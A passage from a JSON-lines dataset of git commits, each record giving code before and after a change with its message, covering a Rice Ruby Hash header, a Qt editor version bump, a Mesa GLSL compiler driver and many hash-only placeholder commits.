< 2)\n {\n std::cerr << \"You must provide two arguments to the command -t: an xml file and an xsl file\" << std::endl;\n return 1;\n }\n\n \/\/ XML\/XSL\n Document * xml_doc = read_document(argv[0]);\n Document * xsl_doc = read_document(argv[1]);\n\n \/\/ TODO\n\n delete xsl_doc;\n delete xml_doc;\n\n return 1;\n}\n\n\/\/ vim:ft=cpp et sw=2 sts=2:\n<|endoftext|>"} {"text":"<commit_before>69411354-2fa5-11e5-82f8-00012e3d3f12<commit_msg>6942e814-2fa5-11e5-9c27-00012e3d3f12<commit_after>6942e814-2fa5-11e5-9c27-00012e3d3f12<|endoftext|>"} {"text":"<commit_before>5bf6740a-2d16-11e5-af21-0401358ea401<commit_msg>5bf6740b-2d16-11e5-af21-0401358ea401<commit_after>5bf6740b-2d16-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>0b360ddc-2e4f-11e5-a6ca-28cfe91dbc4b<commit_msg>0b3e0e11-2e4f-11e5-9015-28cfe91dbc4b<commit_after>0b3e0e11-2e4f-11e5-9015-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>4944db8c-2e4f-11e5-91de-28cfe91dbc4b<commit_msg>494eef63-2e4f-11e5-baff-28cfe91dbc4b<commit_after>494eef63-2e4f-11e5-baff-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>170fcd28-2f67-11e5-a20c-6c40088e03e4<commit_msg>17167708-2f67-11e5-a71a-6c40088e03e4<commit_after>17167708-2f67-11e5-a71a-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>#ifndef Rice__Hash__hpp_\n#define Rice__Hash__hpp_\n\n#include \"Builtin_Object_defn.hpp\"\n#include \"to_from_ruby_defn.hpp\"\n#include \"detail\/ruby.hpp\"\n#include \"detail\/st.hpp\"\n#include \"detail\/remove_const.hpp\"\n#include <iterator>\n\nnamespace Rice\n{\n\n\/\/! A wrapper for the ruby Hash class.\n\/\/! This class provides a C++-style interface to ruby's Hash class and\n\/\/! its associated rb_hash_* functions.\n\/\/! Example:\n\/\/! \\code\n\/\/! Hash h;\n\/\/! h[42] = String(\"foo\");\n\/\/! h[10] = String(\"bar\");\n\/\/! std::cout << String(h[42]) << std::endl;\n\/\/! \\endcode\nclass Hash\n : public Builtin_Object<RHash, T_HASH>\n{\npublic:\n \/\/! Construct a new hash.\n Hash();\n\n \/\/! Wrap an existing hash.\n \/*! \\param v the hash to wrap.\n *\/\n Hash(Object v);\n\n \/\/! Return the number of elements in the hash.\n size_t size() const;\n\nprivate:\n \/\/! A helper class so hash[key]=value can work.\n class Proxy;\n\npublic:\n \/\/! Get the value for the given key.\n \/*! \\param key the key whose value should be retrieved from the hash.\n * \\return the value associated with the given key.\n *\/\n template<typename Key_T>\n Proxy const operator[](Key_T const & key) const;\n\n \/\/! Get the value for the given key.\n \/*! \\param key the key whose value should be retrieved from the hash.\n * \\return the value associated with the given key.\n *\/\n template<typename Key_T>\n Proxy operator[](Key_T const & key);\n\n \/\/! Get the value for the given key\n \/*! The returned value is converted to the type given by Value_T.\n * \\param key the key whose value should be retrieved from the hash.\n * \\return the value associated with the given key, converted to C++\n * type Value_T.\n *\/\n template<typename Value_T, typename Key_T>\n Value_T get(Key_T const & key);\n\n \/\/! A helper class for dereferencing iterators\n class Entry;\n\n \/\/! A helper class for implementing iterators for a Hash.\n template<typename Hash_Ref_T, typename Value_T>\n class Iterator;\n\npublic:\n \/\/! An iterator.\n typedef Iterator<Hash &, Entry> iterator;\n\n \/\/! A const iterator.\n typedef Iterator<Hash const &, Entry const> const_iterator;\n\npublic:\n \/\/! Return an iterator to the beginning of the hash.\n iterator begin();\n\n \/\/! Return a const iterator to the beginning of the hash.\n const_iterator begin() const;\n\n \/\/! Return an iterator to the end of the hash.\n iterator end();\n\n \/\/! Return a const to the end of the hash.\n const_iterator end() const;\n};\n\n\/\/! A helper class so hash[key]=value can work.\nclass Hash::Proxy\n{\npublic:\n \/\/! Construct a new Proxy.\n Proxy(Hash hash, Object key);\n\n \/\/! Implicit conversion to Object.\n operator Object() const;\n\n \/\/! Explicit conversion to VALUE.\n VALUE value() const;\n\n \/\/! Assignment operator.\n template<typename T>\n Object operator=(T const & value);\n\n void swap(Proxy & proxy);\n\nprivate:\n Hash hash_;\n Object key_;\n};\n\n\/\/! A helper class for dereferencing iterators\n\/*! This class is intended to look similar to an std::pair.\n *\/\nclass Hash::Entry\n{\npublic:\n \/\/! Construct a new Entry.\n Entry(Hash hash, Object key);\n\n \/\/! Copy constructor.\n Entry(Entry const & entry);\n\n Object const key; \/\/!< The key\n Object const & first; \/\/!< An alias for the key\n\n Proxy value; \/\/!< The value\n Proxy & second; \/\/!< An alias for the value\n\n Entry & operator=(Entry const & rhs);\n\n void swap(Entry & entry);\n\n friend bool operator<(Entry const & lhs, Entry const & rhs);\n};\n\nbool operator<(Hash::Entry const & lhs, Hash::Entry const & rhs);\n\n\/\/! A helper class for implementing iterators for a Hash.\ntemplate<typename Hash_Ref_T, typename Value_T>\nclass Hash::Iterator\n : public std::iterator<\n std::input_iterator_tag,\n Value_T>\n{\npublic:\n \/\/! Construct a new Iterator.\n Iterator(Hash_Ref_T hash, st_data_t bin, st_table_entry * ptr);\n\n \/\/! Copy construct an Iterator.\n Iterator(Iterator const & iterator);\n\n \/\/! Construct an Iterator from another Iterator of a different const\n \/\/! qualification.\n template<typename Iterator_T>\n Iterator(Iterator_T const & iterator);\n\n \/\/! Assignment operator.\n Iterator & operator=(Iterator const & rhs);\n\n \/\/! Preincrement operator.\n Iterator & operator++();\n\n \/\/! Postincrement operator.\n Iterator operator++(int);\n\n \/\/! Dereference operator.\n Value_T operator*();\n\n \/\/! Dereference operator.\n Value_T * operator->();\n\n \/\/! Equality operator.\n bool operator==(Iterator const & rhs) const;\n\n \/\/! Inequality operator.\n bool operator!=(Iterator const & rhs) const;\n\n template<typename Hash_Ref_T_, typename Value_T_>\n friend class Hash::Iterator;\n\n \/\/! Swap with another iterator of the same type.\n void swap(Iterator & iterator);\n\nprivate:\n Hash hash_;\n st_table * tbl_;\n st_data_t bin_;\n st_table_entry * ptr_;\n\n mutable typename detail::remove_const<Value_T>::Type tmp_;\n};\n\n} \/\/ namespace Rice\n\n#include \"Hash.ipp\"\n\n#endif \/\/ Rice__Hash__hpp_\n\n<commit_msg>Use int for type of bin_ on ruby 1.8.x.<commit_after>#ifndef Rice__Hash__hpp_\n#define Rice__Hash__hpp_\n\n#include \"Builtin_Object_defn.hpp\"\n#include \"to_from_ruby_defn.hpp\"\n#include \"detail\/ruby.hpp\"\n#include \"detail\/st.hpp\"\n#include \"detail\/remove_const.hpp\"\n#include <iterator>\n\nnamespace Rice\n{\n\n\/\/! A wrapper for the ruby Hash class.\n\/\/! This class provides a C++-style interface to ruby's Hash class and\n\/\/! its associated rb_hash_* functions.\n\/\/! Example:\n\/\/! \\code\n\/\/! Hash h;\n\/\/! h[42] = String(\"foo\");\n\/\/! h[10] = String(\"bar\");\n\/\/! std::cout << String(h[42]) << std::endl;\n\/\/! \\endcode\nclass Hash\n : public Builtin_Object<RHash, T_HASH>\n{\npublic:\n \/\/! Construct a new hash.\n Hash();\n\n \/\/! Wrap an existing hash.\n \/*! \\param v the hash to wrap.\n *\/\n Hash(Object v);\n\n \/\/! Return the number of elements in the hash.\n size_t size() const;\n\nprivate:\n \/\/! A helper class so hash[key]=value can work.\n class Proxy;\n\npublic:\n \/\/! Get the value for the given key.\n \/*! \\param key the key whose value should be retrieved from the hash.\n * \\return the value associated with the given key.\n *\/\n template<typename Key_T>\n Proxy const operator[](Key_T const & key) const;\n\n \/\/! Get the value for the given key.\n \/*! \\param key the key whose value should be retrieved from the hash.\n * \\return the value associated with the given key.\n *\/\n template<typename Key_T>\n Proxy operator[](Key_T const & key);\n\n \/\/! Get the value for the given key\n \/*! The returned value is converted to the type given by Value_T.\n * \\param key the key whose value should be retrieved from the hash.\n * \\return the value associated with the given key, converted to C++\n * type Value_T.\n *\/\n template<typename Value_T, typename Key_T>\n Value_T get(Key_T const & key);\n\n \/\/! A helper class for dereferencing iterators\n class Entry;\n\n \/\/! A helper class for implementing iterators for a Hash.\n template<typename Hash_Ref_T, typename Value_T>\n class Iterator;\n\npublic:\n \/\/! An iterator.\n typedef Iterator<Hash &, Entry> iterator;\n\n \/\/! A const iterator.\n typedef Iterator<Hash const &, Entry const> const_iterator;\n\npublic:\n \/\/! Return an iterator to the beginning of the hash.\n iterator begin();\n\n \/\/! Return a const iterator to the beginning of the hash.\n const_iterator begin() const;\n\n \/\/! Return an iterator to the end of the hash.\n iterator end();\n\n \/\/! Return a const to the end of the hash.\n const_iterator end() const;\n};\n\n\/\/! A helper class so hash[key]=value can work.\nclass Hash::Proxy\n{\npublic:\n \/\/! Construct a new Proxy.\n Proxy(Hash hash, Object key);\n\n \/\/! Implicit conversion to Object.\n operator Object() const;\n\n \/\/! Explicit conversion to VALUE.\n VALUE value() const;\n\n \/\/! Assignment operator.\n template<typename T>\n Object operator=(T const & value);\n\n void swap(Proxy & proxy);\n\nprivate:\n Hash hash_;\n Object key_;\n};\n\n\/\/! A helper class for dereferencing iterators\n\/*! This class is intended to look similar to an std::pair.\n *\/\nclass Hash::Entry\n{\npublic:\n \/\/! Construct a new Entry.\n Entry(Hash hash, Object key);\n\n \/\/! Copy constructor.\n Entry(Entry const & entry);\n\n Object const key; \/\/!< The key\n Object const & first; \/\/!< An alias for the key\n\n Proxy value; \/\/!< The value\n Proxy & second; \/\/!< An alias for the value\n\n Entry & operator=(Entry const & rhs);\n\n void swap(Entry & entry);\n\n friend bool operator<(Entry const & lhs, Entry const & rhs);\n};\n\nbool operator<(Hash::Entry const & lhs, Hash::Entry const & rhs);\n\n\/\/! A helper class for implementing iterators for a Hash.\ntemplate<typename Hash_Ref_T, typename Value_T>\nclass Hash::Iterator\n : public std::iterator<\n std::input_iterator_tag,\n Value_T>\n{\npublic:\n \/\/! Construct a new Iterator.\n Iterator(Hash_Ref_T hash, st_data_t bin, st_table_entry * ptr);\n\n \/\/! Copy construct an Iterator.\n Iterator(Iterator const & iterator);\n\n \/\/! Construct an Iterator from another Iterator of a different const\n \/\/! qualification.\n template<typename Iterator_T>\n Iterator(Iterator_T const & iterator);\n\n \/\/! Assignment operator.\n Iterator & operator=(Iterator const & rhs);\n\n \/\/! Preincrement operator.\n Iterator & operator++();\n\n \/\/! Postincrement operator.\n Iterator operator++(int);\n\n \/\/! Dereference operator.\n Value_T operator*();\n\n \/\/! Dereference operator.\n Value_T * operator->();\n\n \/\/! Equality operator.\n bool operator==(Iterator const & rhs) const;\n\n \/\/! Inequality operator.\n bool operator!=(Iterator const & rhs) const;\n\n template<typename Hash_Ref_T_, typename Value_T_>\n friend class Hash::Iterator;\n\n \/\/! Swap with another iterator of the same type.\n void swap(Iterator & iterator);\n\nprivate:\n Hash hash_;\n st_table * tbl_;\n#if RUBY_VERSION_CODE >= 190\n st_index_t bin_;\n#else\n int bin_;\n#endif\n st_table_entry * ptr_;\n\n mutable typename detail::remove_const<Value_T>::Type tmp_;\n};\n\n} \/\/ namespace Rice\n\n#include \"Hash.ipp\"\n\n#endif \/\/ Rice__Hash__hpp_\n\n<|endoftext|>"} {"text":"<commit_before>#include <QApplication>\n\n#include <QTranslator>\n\n#include \"qtbleditor.h\"\n\nint main(int argc, char *argv[])\n{\n QApplication app(argc, argv);\n app.setOrganizationName(\"kambala\");\n app.setApplicationName(\"QTblEditor\");\n app.setApplicationVersion(\"1.2\");\n#ifdef Q_OS_MAC\n app.setAttribute(Qt::AA_DontShowIconsInMenus);\n#endif\n\n\n QString locale = QLocale::system().name(), translationsPath =\n#ifdef Q_OS_MAC\n qApp->applicationDirPath() + \"\/..\/Resources\/\" +\n#endif\n \"Translations\/\" + locale;\n\n QTranslator qtTranslator;\n qtTranslator.load(\"qt_\" + locale, translationsPath);\n app.installTranslator(&qtTranslator);\n\n QTranslator myappTranslator;\n myappTranslator.load(\"qtbleditor_\" + locale, translationsPath);\n app.installTranslator(&myappTranslator);\n\n\n QTblEditor w;\n w.show();\n\n return app.exec();\n}\n<commit_msg>bump version<commit_after>#include <QApplication>\n\n#include <QTranslator>\n\n#include \"qtbleditor.h\"\n\nint main(int argc, char *argv[])\n{\n QApplication app(argc, argv);\n app.setOrganizationName(\"kambala\");\n app.setApplicationName(\"QTblEditor\");\n app.setApplicationVersion(\"1.3\");\n#ifdef Q_OS_MAC\n app.setAttribute(Qt::AA_DontShowIconsInMenus);\n#endif\n\n\n QString locale = QLocale::system().name(), translationsPath =\n#ifdef Q_OS_MAC\n qApp->applicationDirPath() + \"\/..\/Resources\/\" +\n#endif\n \"Translations\/\" + locale;\n\n QTranslator qtTranslator;\n qtTranslator.load(\"qt_\" + locale, translationsPath);\n app.installTranslator(&qtTranslator);\n\n QTranslator myappTranslator;\n myappTranslator.load(\"qtbleditor_\" + locale, translationsPath);\n app.installTranslator(&myappTranslator);\n\n\n QTblEditor w;\n w.show();\n\n return app.exec();\n}\n<|endoftext|>"} {"text":"<commit_before>a58a668f-2747-11e6-b623-e0f84713e7b8<commit_msg>I finished programming, there is nothing left to program<commit_after>a59e1711-2747-11e6-8080-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>a11e2168-327f-11e5-8338-9cf387a8033e<commit_msg>a123e83a-327f-11e5-8db9-9cf387a8033e<commit_after>a123e83a-327f-11e5-8db9-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright © 2008, 2009 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\/\n#include <cstdlib>\n#include <cstdio>\n#include <getopt.h>\n\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n\n#include \"ast.h\"\n#include \"glsl_parser_extras.h\"\n#include \"glsl_parser.h\"\n#include \"ir_optimization.h\"\n#include \"ir_print_visitor.h\"\n#include \"program.h\"\n\n\nstatic char *\nload_text_file(const char *file_name, size_t *size)\n{\n\tchar *text = NULL;\n\tstruct stat st;\n\tssize_t total_read = 0;\n\tint fd = open(file_name, O_RDONLY);\n\n\t*size = 0;\n\tif (fd < 0) {\n\t\treturn NULL;\n\t}\n\n\tif (fstat(fd, & st) == 0) {\n\t text = (char *) malloc(st.st_size + 1);\n\t\tif (text != NULL) {\n\t\t\tdo {\n\t\t\t\tssize_t bytes = read(fd, text + total_read,\n\t\t\t\t\t\t st.st_size - total_read);\n\t\t\t\tif (bytes < 0) {\n\t\t\t\t\tfree(text);\n\t\t\t\t\ttext = NULL;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (bytes == 0) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\ttotal_read += bytes;\n\t\t\t} while (total_read < st.st_size);\n\n\t\t\ttext[total_read] = '\\0';\n\t\t\t*size = total_read;\n\t\t}\n\t}\n\n\tclose(fd);\n\n\treturn text;\n}\n\n\nvoid\nusage_fail(const char *name)\n{\n printf(\"%s <filename.frag|filename.vert>\\n\", name);\n exit(EXIT_FAILURE);\n}\n\n\nint dump_ast = 0;\nint dump_lir = 0;\n\nconst struct option compiler_opts[] = {\n { \"dump-ast\", 0, &dump_ast, 1 },\n { \"dump-lir\", 0, &dump_lir, 1 },\n { NULL, 0, NULL, 0 }\n};\n\nvoid\ncompile_shader(struct glsl_shader *prog)\n{\n struct _mesa_glsl_parse_state state;\n\n memset(& state, 0, sizeof(state));\n switch (prog->Type) {\n case GL_VERTEX_SHADER: state.target = vertex_shader; break;\n case GL_FRAGMENT_SHADER: state.target = fragment_shader; break;\n case GL_GEOMETRY_SHADER: state.target = geometry_shader; break;\n }\n\n state.scanner = NULL;\n state.translation_unit.make_empty();\n state.symbols = new glsl_symbol_table;\n state.error = false;\n state.temp_index = 0;\n state.loop_or_switch_nesting = NULL;\n state.ARB_texture_rectangle_enable = true;\n\n _mesa_glsl_lexer_ctor(& state, prog->Source, prog->SourceLen);\n _mesa_glsl_parse(& state);\n _mesa_glsl_lexer_dtor(& state);\n\n if (dump_ast) {\n foreach_list_const(n, &state.translation_unit) {\n\t ast_node *ast = exec_node_data(ast_node, n, link);\n\t ast->print();\n }\n printf(\"\\n\\n\");\n }\n\n prog->ir.make_empty();\n if (!state.error && !state.translation_unit.is_empty())\n _mesa_ast_to_hir(&prog->ir, &state);\n\n \/* Optimization passes *\/\n if (!state.error && !prog->ir.is_empty()) {\n bool progress;\n do {\n\t progress = false;\n\n\t progress = do_function_inlining(&prog->ir) || progress;\n\t progress = do_if_simplification(&prog->ir) || progress;\n\t progress = do_copy_propagation(&prog->ir) || progress;\n\t progress = do_dead_code_local(&prog->ir) || progress;\n\t progress = do_dead_code_unlinked(&prog->ir) || progress;\n\t progress = do_constant_variable_unlinked(&prog->ir) || progress;\n\t progress = do_constant_folding(&prog->ir) || progress;\n\t progress = do_vec_index_to_swizzle(&prog->ir) || progress;\n\t progress = do_swizzle_swizzle(&prog->ir) || progress;\n } while (progress);\n }\n\n \/* Print out the resulting IR *\/\n if (!state.error && dump_lir) {\n _mesa_print_ir(&prog->ir, &state);\n }\n\n prog->symbols = state.symbols;\n prog->CompileStatus = !state.error;\n return;\n}\n\nint\nmain(int argc, char **argv)\n{\n int status = EXIT_SUCCESS;\n\n int c;\n int idx = 0;\n while ((c = getopt_long(argc, argv, \"\", compiler_opts, &idx)) != -1)\n \/* empty *\/ ;\n\n\n if (argc <= optind)\n usage_fail(argv[0]);\n\n struct glsl_shader **prog_list = NULL;\n unsigned prog_list_len = 0;\n\n for (\/* empty *\/; argc > optind; optind++) {\n prog_list = (struct glsl_shader **)\n\t realloc(prog_list,\n\t\t sizeof(struct glsl_shader *) * (prog_list_len + 1));\n assert(prog_list != NULL);\n\n struct glsl_shader *prog = new glsl_shader;\n memset(prog, 0, sizeof(*prog));\n\n prog_list[prog_list_len] = prog;\n prog_list_len++;\n\n const unsigned len = strlen(argv[optind]);\n if (len < 6)\n\t usage_fail(argv[0]);\n\n const char *const ext = & argv[optind][len - 5];\n if (strncmp(\".vert\", ext, 5) == 0)\n\t prog->Type = GL_VERTEX_SHADER;\n else if (strncmp(\".geom\", ext, 5) == 0)\n\t prog->Type = GL_GEOMETRY_SHADER;\n else if (strncmp(\".frag\", ext, 5) == 0)\n\t prog->Type = GL_FRAGMENT_SHADER;\n else\n\t usage_fail(argv[0]);\n\n prog->Source = load_text_file(argv[optind], &prog->SourceLen);\n\n compile_shader(prog);\n\n if (!prog->CompileStatus) {\n\t status = EXIT_FAILURE;\n\t break;\n }\n }\n\n return status;\n}\n<commit_msg>Use glsl_program instead of an open-coded vector of shaders<commit_after>\/*\n * Copyright © 2008, 2009 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\/\n#include <cstdlib>\n#include <cstdio>\n#include <getopt.h>\n\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n\n#include \"ast.h\"\n#include \"glsl_parser_extras.h\"\n#include \"glsl_parser.h\"\n#include \"ir_optimization.h\"\n#include \"ir_print_visitor.h\"\n#include \"program.h\"\n\n\nstatic char *\nload_text_file(const char *file_name, size_t *size)\n{\n\tchar *text = NULL;\n\tstruct stat st;\n\tssize_t total_read = 0;\n\tint fd = open(file_name, O_RDONLY);\n\n\t*size = 0;\n\tif (fd < 0) {\n\t\treturn NULL;\n\t}\n\n\tif (fstat(fd, & st) == 0) {\n\t text = (char *) malloc(st.st_size + 1);\n\t\tif (text != NULL) {\n\t\t\tdo {\n\t\t\t\tssize_t bytes = read(fd, text + total_read,\n\t\t\t\t\t\t st.st_size - total_read);\n\t\t\t\tif (bytes < 0) {\n\t\t\t\t\tfree(text);\n\t\t\t\t\ttext = NULL;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (bytes == 0) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\ttotal_read += bytes;\n\t\t\t} while (total_read < st.st_size);\n\n\t\t\ttext[total_read] = '\\0';\n\t\t\t*size = total_read;\n\t\t}\n\t}\n\n\tclose(fd);\n\n\treturn text;\n}\n\n\nvoid\nusage_fail(const char *name)\n{\n printf(\"%s <filename.frag|filename.vert>\\n\", name);\n exit(EXIT_FAILURE);\n}\n\n\nint dump_ast = 0;\nint dump_lir = 0;\n\nconst struct option compiler_opts[] = {\n { \"dump-ast\", 0, &dump_ast, 1 },\n { \"dump-lir\", 0, &dump_lir, 1 },\n { NULL, 0, NULL, 0 }\n};\n\nvoid\ncompile_shader(struct glsl_shader *prog)\n{\n struct _mesa_glsl_parse_state state;\n\n memset(& state, 0, sizeof(state));\n switch (prog->Type) {\n case GL_VERTEX_SHADER: state.target = vertex_shader; break;\n case GL_FRAGMENT_SHADER: state.target = fragment_shader; break;\n case GL_GEOMETRY_SHADER: state.target = geometry_shader; break;\n }\n\n state.scanner = NULL;\n state.translation_unit.make_empty();\n state.symbols = new glsl_symbol_table;\n state.error = false;\n state.temp_index = 0;\n state.loop_or_switch_nesting = NULL;\n state.ARB_texture_rectangle_enable = true;\n\n _mesa_glsl_lexer_ctor(& state, prog->Source, prog->SourceLen);\n _mesa_glsl_parse(& state);\n _mesa_glsl_lexer_dtor(& state);\n\n if (dump_ast) {\n foreach_list_const(n, &state.translation_unit) {\n\t ast_node *ast = exec_node_data(ast_node, n, link);\n\t ast->print();\n }\n printf(\"\\n\\n\");\n }\n\n prog->ir.make_empty();\n if (!state.error && !state.translation_unit.is_empty())\n _mesa_ast_to_hir(&prog->ir, &state);\n\n \/* Optimization passes *\/\n if (!state.error && !prog->ir.is_empty()) {\n bool progress;\n do {\n\t progress = false;\n\n\t progress = do_function_inlining(&prog->ir) || progress;\n\t progress = do_if_simplification(&prog->ir) || progress;\n\t progress = do_copy_propagation(&prog->ir) || progress;\n\t progress = do_dead_code_local(&prog->ir) || progress;\n\t progress = do_dead_code_unlinked(&prog->ir) || progress;\n\t progress = do_constant_variable_unlinked(&prog->ir) || progress;\n\t progress = do_constant_folding(&prog->ir) || progress;\n\t progress = do_vec_index_to_swizzle(&prog->ir) || progress;\n\t progress = do_swizzle_swizzle(&prog->ir) || progress;\n } while (progress);\n }\n\n \/* Print out the resulting IR *\/\n if (!state.error && dump_lir) {\n _mesa_print_ir(&prog->ir, &state);\n }\n\n prog->symbols = state.symbols;\n prog->CompileStatus = !state.error;\n return;\n}\n\nint\nmain(int argc, char **argv)\n{\n int status = EXIT_SUCCESS;\n\n int c;\n int idx = 0;\n while ((c = getopt_long(argc, argv, \"\", compiler_opts, &idx)) != -1)\n \/* empty *\/ ;\n\n\n if (argc <= optind)\n usage_fail(argv[0]);\n\n struct glsl_program whole_program;\n memset(&whole_program, 0, sizeof(whole_program));\n\n for (\/* empty *\/; argc > optind; optind++) {\n whole_program.Shaders = (struct glsl_shader **)\n\t realloc(whole_program.Shaders,\n\t\t sizeof(struct glsl_shader *) * (whole_program.NumShaders + 1));\n assert(whole_program.Shaders != NULL);\n\n struct glsl_shader *prog = new glsl_shader;\n memset(prog, 0, sizeof(*prog));\n\n whole_program.Shaders[whole_program.NumShaders] = prog;\n whole_program.NumShaders++;\n\n const unsigned len = strlen(argv[optind]);\n if (len < 6)\n\t usage_fail(argv[0]);\n\n const char *const ext = & argv[optind][len - 5];\n if (strncmp(\".vert\", ext, 5) == 0)\n\t prog->Type = GL_VERTEX_SHADER;\n else if (strncmp(\".geom\", ext, 5) == 0)\n\t prog->Type = GL_GEOMETRY_SHADER;\n else if (strncmp(\".frag\", ext, 5) == 0)\n\t prog->Type = GL_FRAGMENT_SHADER;\n else\n\t usage_fail(argv[0]);\n\n prog->Source = load_text_file(argv[optind], &prog->SourceLen);\n\n compile_shader(prog);\n\n if (!prog->CompileStatus) {\n\t status = EXIT_FAILURE;\n\t break;\n }\n }\n\n return status;\n}\n<|endoftext|>"} {"text":"<commit_before>86936f47-2d15-11e5-af21-0401358ea401<commit_msg>86936f48-2d15-11e5-af21-0401358ea401<commit_after>86936f48-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>2c6bbc7d-2e4f-11e5-b860-28cfe91dbc4b<commit_msg>2c7321f8-2e4f-11e5-b7bf-28cfe91dbc4b<commit_after>2c7321f8-2e4f-11e5-b7bf-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>a7a0d182-4b02-11e5-a29a-28cfe9171a43<commit_msg>my cat is cute<commit_after>a7acc49e-4b02-11e5-bd26-28cfe9171a43<|endoftext|>"} {"text":"<commit_before>96ec01ee-2e4f-11e5-bcb6-28cfe91dbc4b<commit_msg>96f2b92e-2e4f-11e5-9ba4-28cfe91dbc4b<commit_after>96f2b92e-2e4f-11e5-9ba4-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>#include <fstream>\n#include <cstring>\n#include <iostream>\n#include <vector>\n#include <unordered_map>\n#include <algorithm>\n\nusing namespace std;\n\n\/\/~ string revComp(const string& seq){\n\t\/\/~ string revCompSeq = \"\";\n\t\/\/~ int pos = seq.size()-1;\n\t\/\/~ char nt;\n\t\/\/~ do{\n\t\t\/\/~ nt = seq[pos];\n\t\t\/\/~ switch (nt) {\n\t\t\t\/\/~ case 'A':\n\t\t\t\t\/\/~ revCompSeq += 'T';\n\t\t\t\t\/\/~ break;\n\t\t\t\/\/~ case 'T':\n\t\t\t\t\/\/~ revCompSeq += 'A';\n\t\t\t\t\/\/~ break;\n\t\t\t\/\/~ case 'C':\n\t\t\t\t\/\/~ revCompSeq += 'G';\n\t\t\t\t\/\/~ break;\n\t\t\t\/\/~ case 'G':\n\t\t\t\t\/\/~ revCompSeq += 'C';\n\t\t\t\t\/\/~ break;\n\t\t\/\/~ }\n\t\t\/\/~ --pos;\n\t\/\/~ } while (pos>=0);\n\t\/\/~ return revCompSeq;\n\/\/~ }\n\n\n\/\/~ string getCanonical(const string& seq){\n\t\/\/~ string revCompSeq = revComp(seq);\n\t\/\/~ return min(seq, revCompSeq); \n\/\/~ }\n\n\n\/\/~ string getKmer(const string& sequence, int posi, int k){\n\t\/\/~ return getCanonical(sequence.substr(posi, k));\n\/\/~ }\n\n\n\/\/~ void getKmersFromRead(const string& readSeq, int k, unordered_map<string, int>& kmersFromFile){\n\t\/\/~ for (uint posi(0); posi < readSeq.size()-k+1; ++posi){\n\t\t\/\/~ string kmer = getKmer(readSeq, posi, k);\n\t\t\/\/~ if (not kmersFromFile.count(kmer)){\n\t\t\t\/\/~ kmersFromFile[kmer] = 1;\n\t\t\/\/~ } else {\n\t\t\t\/\/~ kmersFromFile[kmer] += 1;\n\t\t\/\/~ }\n\t\/\/~ }\n\/\/~ }\n\n\n\/\/~ void getSolidKmers(const unordered_map<string, int>& kmersFromFile, unordered_map<string, int>& solidKmers){\n\t \/\/~ for ( unordered_map<string, int>::const_iterator iter = kmersFromFile.begin(); iter != kmersFromFile.end(); ++iter ){\n\t\t\/\/~ if (iter->second >1){\n\t\t\t\/\/~ solidKmers[iter->first] = iter->second;\n\t\t\/\/~ } \n\t \/\/~ }\n\/\/~ }\n\n\n\/\/~ vector<int> removeDuplicates(const vector<int>& vect){\n\t\/\/~ vector<int> vectResult;\n\t\/\/~ for (uint i(0); i< vect.size(); ++i){\n\t\t\/\/~ if (i == vect.size()-1 or vect[i]!=vect[i+1]){\n\t\t\t\/\/~ vectResult.push_back(vect[i]);\n\t\t\/\/~ }\n\t\/\/~ }\n\t\/\/~ return vectResult;\n\/\/~ }\n\n\n\/\/~ void putKmersToWindowsTarget(const unordered_map <string, int>& solidKmers, unordered_map <string, vector<int>>& kmerToWindows, const string& target, int indexWindow, uint posiOnTarget, int w, int k){\n\t\/\/~ for (uint posInW(0); posInW < 